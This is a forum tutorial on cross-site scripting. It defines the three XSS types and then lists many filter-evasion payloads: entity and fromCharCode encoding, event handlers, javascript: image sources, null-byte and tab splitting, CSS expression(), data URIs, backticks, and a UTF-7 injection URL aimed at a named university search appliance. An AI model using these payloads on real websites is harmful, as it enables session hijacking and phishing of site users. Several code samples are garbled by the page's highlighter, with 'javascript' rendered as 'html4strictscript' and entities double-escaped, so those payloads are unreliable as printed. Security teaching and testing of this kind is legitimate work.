Friday, December 19, 2014 Login · Register
    Login
Username

Password


Remember Me

Not a member yet?
Click here to register.

Forgotten your password?
Request a new one here.

 

    Users Online
  • · Members on IRC: 21   
  • · Total Members: 17,581
  • · Newest Member: toantoai
  •  

     

        Related Ads
     

     

     

        Top 10 Forum Posters
    UserPosts
    bluechill1411   
    madf0x1297   
    cruizrisner1062   
    Qwexotic1034   
    Null Set872   
    Override604   
    auditorsec603   
    godofcereal599   
    TurboBorland585   
    Teddy477   
     

        Affiliates




  • iExploit


  • iExploit


  • WeChall





  • Thisislegal.com

  •  

        Related Ads
     

    View Thread
         
    Security Override The Articles Section [ General ] Articles
    The Complete Guide to XSS
    Register FAQ Members List Today's Posts Search

    Print Thread
    01-31-2014 11:54 AM The Complete Guide to XSS | Edited by Override 01-31-2014 12:04 PM
    What is Cross Site Scripting?

    Cross-site scripting (XSS)is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Cross-site scripting holes in general can be seen as vulnerabilities which allow attackers to bypass security mechanisms. By finding clever ways of injecting malicious scripts into web pages an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other objects.

    There are three distinct types of XSS vulnerabilities:
    non-persistent
    persistent
    and DOM-based (which can be either persistent or non-persistent).


    Non-persistent cross-site scripting hole is also referred to as a reflected vulnerability, and is by far the most common type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If any occurrence of the search terms is not HTML entity encoded, an XSS hole will result.

    Persistent XSS vulnerability is also referred to as a stored or second-order vulnerability, and it allows the most powerful kinds of attacks. A type 2 XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being encoded using HTML entities. A classic example of this is with online message boards, where users are allowed to post.

    DOM-based XSS vulnerability, also referred to as local cross-site scripting, is based on the standard object model for representing HTML or XML called the Document Object Model or DOM for short. With DOM-based cross-site scripting vulnerabilities, the problem exists within a page's client-side script itself. For instance, if a piece of JavaScript accesses a URL request parameter and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS hole will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side scripts.

    Finding XSS Vulnerabilities

    The most common used XSS injection test is:

    Download source  GeSHi: HTML
    1
    <script>alert("XSS")</script>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6



    When this example is injected into an input box or a URL parameter, it will either fire or it will fail. If the injection fails, it doesn't mean the site is secure, it just means you need to look deeper.

    XSS Filter Evasion

    Escaping From Strings/

    The first step is to view source on the Web page and see if you can find the
    injected string in the HTML.There are several places you may find it completely intact, yet
    hidden from the casual observer.The first is within an input parameter:

    Download source  GeSHi: HTML
    1
    <INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    In this example we could alter our input to include two characters that allow the
    injected code to jump out of the single quotes:

    securityoverride.org/images/xss4.jpg

    Now our code renders because we have ended the input encapsulation and HTML tag before our vector, which allows it to fire.
    However, in this case, the extraneous single quote and closed angle bracket are displayed
    on the Web page.This can be suppressed if we update our vector into the following:

    securityoverride.org/images/xss5.jpg


    This turns the code output into:
    Download source  GeSHi: HTML
    1
    2
    3
     
    <INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>
     
    Parsed in 0.011 seconds, using GeSHi 1.0.8.6


    As a result, the JavaScript code is injected with no visible indication of its existence.The
    <xss a=''> tag does not render, because it is not valid.

    Working Around Filtered Quotes

    Let's use the same example above, but assume the Webmaster included code to put
    slashes in front of any single quotes or double quotes (i.e., add_slashes()). Our previous vector
    without the last part would now turn into:
    Download source  GeSHi: HTML
    1
    <INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    There are several methods to try and work around this it all depends on the filtering in place.
    One method is to use Character Entities.
    Some characters are reserved in HTML. For example, you cannot use the greater than or less than signs within your text because the browser could mistake them for markup.
    If we want the browser to actually display these characters we must insert character entities in the HTML source.

    securityoverride.org/images/xss1.jpg


    Using the code (&quot;) or (&#34;) in place of our quotes is one method to try and work around quote filtering.

    Example:
    Download source  GeSHi: HTML
    1
    <script>alert("XSS")</script>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6

    Download source  GeSHi: HTML
    1
    <script>alert(&amp;quot;XSS&amp;quot;)</script>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6

    Download source  GeSHi: HTML
    1
    <script>alert(&amp;#38;XSS&amp;#38;)</script>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    If no quotes of any kind are allowed you can use fromCharCode in JavaScript to create any XSS code you need.
    The fromCharCode() takes the specified Unicode values and returns a string.

    Example:
    Download source  GeSHi: HTML
    1
    <script>alert("XSS")</script>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6

    <script>alert(String.fromCharCode(88,83,83))</script>
    <INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

    You can use the For MySql char(ASCII,ASCII,...): calculator bellow to translate your code into CharCode.

    Working Around <SCRIPT> Filtering

    Some filters will filter out <script> making it impossible for any of the above examples to work. However, there are many other ways to insert JavaScript into a Web page. Let's look at an example of an event handler:

    Download source  GeSHi: HTML
    1
    <BODY onload="alert('XSS')">
    Parsed in 0.009 seconds, using GeSHi 1.0.8.6


    The "onload" keyword inside HTML represents an event handler. It doesn't work with
    all HTML tags, but it is particularly effective inside BODY tags.That said, there are instances
    where this approach will fail, such as when the BODY onload event handler is previously
    overloaded higher on the page before your vector shows up. Another useful example is the
    onerror handler:

    Download source  GeSHi: HTML
    1
    <IMG SRC="" onerror="alert('XSS')">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    Because the image is poorly defined, the onerror event handler fires causing the JavaScript
    inside it to render, all without ever calling a <script> tag.


    Using IMG SRC

    The two most commonly permitted HTML tags are <A HREF, which is used for
    embedded links, and <IMG, which is used to embedded images. Of these two, the
    most dangerous is the IMG tag.

    The follow illustrates some examples of why this tag is problematic:

    Download source  GeSHi: HTML
    1
    <IMG SRC="javascript:alert('XSS');">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    No quotes and no semicolon:

    Download source  GeSHi: HTML
    1
    <IMG SRC=html4strictscript:alert('XSS')>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    Filtering quotes and script:

    Download source  GeSHi: HTML
    1
    <IMG SRC=html4strictscript:alert(&amp;quot;XSS&amp;quot;)>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    Using CharCode to work around filtering quotes:

    Download source  GeSHi: HTML
    1
    <IMG SRC=html4strictscript:alert(String.fromCharCode(88,83,83))>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    A simple attack vector, like the one above, can be even further obfuscated by transforming
    the entire string into the decimal equivalent of the ASCII characters:

    Download source  GeSHi: HTML
    1
    2
    <IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;
    &amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
    Parsed in 0.012 seconds, using GeSHi 1.0.8.6


    Using the ASCII table you can decipher this example, and then use the same method of obfuscation to create your own injectable string.
    The same can be done for hexadecimal:

    Download source  GeSHi: HTML
    1
    2
    3
    <IMG
    SRC=&amp;#x6A;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3A;&amp;#x61;&amp;#x6C;&amp;
    #x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x27;&amp;#x58;&amp;#x53;&amp;#x53;&amp;#x27;&amp;#x29;>
    Parsed in 0.012 seconds, using GeSHi 1.0.8.6


    While the javascript: directive syntax inside images has been depreciated since IE 7.0, it still
    works in IE 6.0, Opera 9.0, Netscape 8.0 (when in the IE rendering engine, although it has also been
    depreciated as of 8.1)

    Using Tab, New Line, and Carriage Return

    Tab, new line and carriage return characters can also be used to trick XSS filters.

    Download source  GeSHi: HTML
    1
    <IMG SRC="jav&amp#x9ascript:alert('XSS');">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    The example above uses a tab Minimum Sized Decimal to break up the word javascript intern breaking up the XSS and tricking the filter. The output above will look as follows:

    Download source  GeSHi: HTML
    1
    2
    <IMG SRC="jav</p>
    <p>ascript:alert('XSS');">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    securityoverride.org/images/xss2.jpg


    Using Null character

    Another character that can cause problems for filters is the null character. This is one of
    the most obscure and powerful tools in any XSS arsenal.

    Take this example URL that can lead to a valid injection:

    Download source  GeSHi: HTML
    1
    <SCR%00IPT>alert("XSS")</SCRIPT>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    The null character (%00) stops the filters from recognizing the <SCRIPT> tag. This
    only works in IE 6.0, IE 7.0, and Netscape 8.0 in IE rendering engine mode.


    Not filtering inside encapsulating pairs

    Bypassing filtering that looks for open and closing pairs of encapsulation
    inside HTML tags and ignore the contents.

    Example:

    Download source  GeSHi: HTML
    1
    <IMG """><SCRIPT>alert('XSS')</SCRIPT>">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    Technically, inside the IMG tag, the first two quotes should be considered encapsulation
    and should do nothing.The next quote should allow encapsulation and go to the next quote
    which is after the </SCRIPT> tag. Lastly, it should be closed by the trailing end angle
    bracket. But all major browsers, such as, IE, Firefox, Netscape, or Opera take this as malformed HTML and attempt to fix it.

    The output then looks like:
    Download source  GeSHi: HTML
    1
    <img><script>alert('xss')</script>">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    CSS Filter Evasion

    HTML is a useful tool for injecting JavaScript, but not the only tool an even more complex sub-class of HTML is the style sheet or CSS. There are many different ways to inject XSS into style sheets, and even more ways to use them to inject JavaScript. .
    The simplest way to inject JavaScript into a CSS link tag is using the JavaScript directive.

    Download source  GeSHi: HTML
    1
    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    However, IE has depreciated this as of 7.0, and it no longer works, you can still get
    it working in Opera and users who may still have IE 6.0 installed.

    Another way is to use the <STYLE> tag. It is rare that users have access to modify styles but it does happen. This is more common in cases of forums where users have access to the layout and design on their post. The following will work in IE and Netscape in the IE rendering engine mode:
    Download source  GeSHi: HTML
    1
    2
    3
    4
    5
     
    a {
    width: expression(alert('XSS'))
    }
     
    Parsed in 0.009 seconds, using GeSHi 1.0.8.6


    Using the above as an example, you can see how the expression tag allows the attacker
    to inject JavaScript without using the JavaScript directive or the <SCRIPT> tag.

    Download source  GeSHi: HTML
    1
    >
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    Obscure Filters

    Let's take an example where a developer has taken user input and insured that it contains no quotes, no angle brackets, and no JavaScript directives.
    Still, it is not safe, as we can inject something called a data directive in this case,
    we have base64 encoded the simple string <script>alert('XSS')</script>.

    Download source  GeSHi: HTML
    1
    2
    <META HTTP-EQUIV="refresh"
    CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    The data directive allows us to inject entire documents inside a single string.
    The data directive works inside Firefox, Netscape in Gecko rendering engine mode, and Opera.

    Using Double Quotes

    If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents.

    Download source  GeSHi: HTML
    1
    <IMG SRC=`javascript:alert("Look its, 'XSS'")`>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    Escaping characters

    Escaping quotes is sometimes usefull when there is an own written protection against XSS. This will allow you to escape the escape characters used by the XSS filter script.
    It's worth mentioning that this will ONLY work if it's an own written (weak) defending script.

    Download source  GeSHi: HTML
    1
    <IMG SRC=`javascript:alert(\"XSS\")`>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    The result would be:

    Download source  GeSHi: HTML
    1
    <IMG SRC=`javascript:alert(\\"XSS\\")`>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6


    As you can see your own escape characters now filter out the escape characters used by the XSS protection.

    Encoding

    It is often assumed that if all angle brackets and quotes have been filtered that XSS is no longer possible. However XSS is reliant upon the browser, so as long as the browser can understand other encoding methods, you can run into situations where a browser will run commands without any of those characters.</p>
    <p>A real world example of an XSS encoded vulnerability was found in Google search appliance by a hacker named Maluc. Maluc found that a normal Google search appliance query looked like:

    Download source  GeSHi: HTML
    1
    2
    http://ask.stanford.edu/search?output=xml_no_dtd&amp;client=stanford&amp;pro">http://ask.stanford.edu/search?output=xml_no_dtd&amp;client=stanford&amp;pro
    xystylesheet=stanford&amp;site=stanfordit&amp;oe=UTF-8&amp;q=hi
    Parsed in 0.009 seconds, using GeSHi 1.0.8.6


    He noticed that according to this string (oe=UTF-8) he could change the UTF code.
    He changed the UTF string from UTF-8 to UTF-7.

    UTF-7 (7-bit Unicode Transformation Format)</b> is a variable-length character encoding that was proposed for representing Unicode-encoded text using a stream of ASCII characters, for example for use in Internet e-mail messages. UTF-7 is generally not used as a native representation within applications as it is very awkward to process despite its size advantage over the combination of UTF-8 with either quoted-printable or base64.
    Lets take for example:

    Download source  GeSHi: HTML
    1
    <script>alert("XSS")</script>
    Parsed in 0.010 seconds, using GeSHi 1.0.8.6

    And encode it using UTF-7:

    Download source  GeSHi: HTML
    1
    +ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
    Parsed in 0.009 seconds, using GeSHi 1.0.8.6


    Now all + have to be changed to URL code in a GET strings for this to work. So the URL code for + is %2B now we have:

    Download source  GeSHi: HTML
    1
    2
    3
     
    %2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
     
    Parsed in 0.009 seconds, using GeSHi 1.0.8.6


    URL encoding is turning a string into a safe block of text for appending on the query string of a URL.To encode characters to append to a URL, you use a percentage symbol, followed by the two-digit hex number representing that character.
    For example:

    securityoverride.org/images/xss3.jpg
    securityoverride.org/images/xss3.jpg

    With this Maluc came up with:

    Download source  GeSHi: HTML
    1
    2
    3
    4
     
    <a href="http://ask.stanford.edu/search?output=xml_no_dtd&amp;client=stanford&amp;pro">http://ask.stanford.edu/search?output=xml_no_dtd&amp;client=stanford&amp;pro" target="_blank" title="autolink">http://ask.stanford.edu/search?output=xml_no_dtd&amp;client=stanford&amp;pro">http://ask.stanford.edu/search?output=xml_no_dtd&amp;client=stanford&amp;pro</a>
    xystylesheet=stanford&amp;site=stanfordit&amp;oe=UTF-7&amp;q=%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-x
     
    Parsed in 0.011 seconds, using GeSHi 1.0.8.6


    And was able to successfully execute an XSS script.

    Of course the effect of the XSS is only temporary and only affects the user who
    go to that URL, but this could easily provide an avenue for phishing. In this way, Google
    appliance has hurt Stanford University's security by being placed on the same domain.

    Written by Override and Killordie

    References
    Rsnake, XSS (Cross Site Scripting) Cheat
    http://ha.ckers.org/xss.html [viewed 07/25/2009].

    XSS (Cross Site Scripting) Prevention Cheat Sheet
    http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [viewed 07/25/2009].</p>

    Xylitol (2008) Cross Site Scripting - Attack and Defense guide
    http://milw0rm.com/papers/192 [viewed 07/25/2009].

    Langy,XSS Guide - 1st Part
    http://www.googlebig.com/forum/-en-xss-guide-1st-part-t-157.html [viewed 07/25/2009].
     
    Offline
    02-16-2014 05:17 AM RE: The Complete Guide to XSS
    Awesome Tutorial! Thz bro! Grin
     
    Offline
    Jump to Forum:
    Forum powered by fusionBoard